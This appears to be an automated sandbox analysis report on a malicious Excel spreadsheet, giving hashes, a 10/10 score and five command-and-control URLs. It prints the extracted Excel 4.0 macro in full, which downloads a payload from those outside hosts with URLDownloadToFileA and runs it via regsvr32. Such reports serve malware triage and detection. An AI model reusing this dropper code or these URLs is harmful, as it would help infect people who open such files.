9d4239fa9daeb4d24de2d0185b9897d18baee416321b921766c3baf9c747b4f7

General

Target

9d4239fa9daeb4d24de2d0185b9897d18baee416321b921766c3baf9c747b4f7
Size

91KB
Sample

241120-qwzeasxhqk
MD5

e98610963a9d59ef5a156285b46fb4e9
SHA1

a009a61744235d5274e126966ddb6bb3d6ca9f64
SHA256

9d4239fa9daeb4d24de2d0185b9897d18baee416321b921766c3baf9c747b4f7
SHA512

a91c2949cd094939cab7a888813775efd3013ac3e1582a41ce7433846a7413ed5763123fba5f400052a72c809da2e39f1042e36695f0b3e8f5271728976d7042
SSDEEP

1536:hNrCX2N5nyV+ns1BVi/IEh2hx0Lx3bKhllGGx0vKCEjdQjqEk+xX0sw:h142byVEoBo6hKb4llGsQjbxBw

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

https://themillionairesweb.com/wp-admin/MD/

https://akhrailway.com/cgi-bin/b5c9CX4IK2GgN6C/

https://cmbavocat.fr/wp-admin/uKCcU1bqvbSvE/

http://idvlab.com.br/wp-admin/FIWBL/

https://institutionsevigne.org/wp-includes/pvDqUHqjYEqoQ6R/

Attributes

formulas
=FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://themillionairesweb.com/wp-admin/MD/","..\wo1.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://akhrailway.com/cgi-bin/b5c9CX4IK2GgN6C/","..\wo1.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://cmbavocat.fr/wp-admin/uKCcU1bqvbSvE/","..\wo1.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://idvlab.com.br/wp-admin/FIWBL/","..\wo1.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://institutionsevigne.org/wp-includes/pvDqUHqjYEqoQ6R/","..\wo1.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\wo1.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

https://themillionairesweb.com/wp-admin/MD/

xlm40.dropper

https://akhrailway.com/cgi-bin/b5c9CX4IK2GgN6C/

xlm40.dropper

https://cmbavocat.fr/wp-admin/uKCcU1bqvbSvE/

xlm40.dropper

http://idvlab.com.br/wp-admin/FIWBL/

xlm40.dropper

https://institutionsevigne.org/wp-includes/pvDqUHqjYEqoQ6R/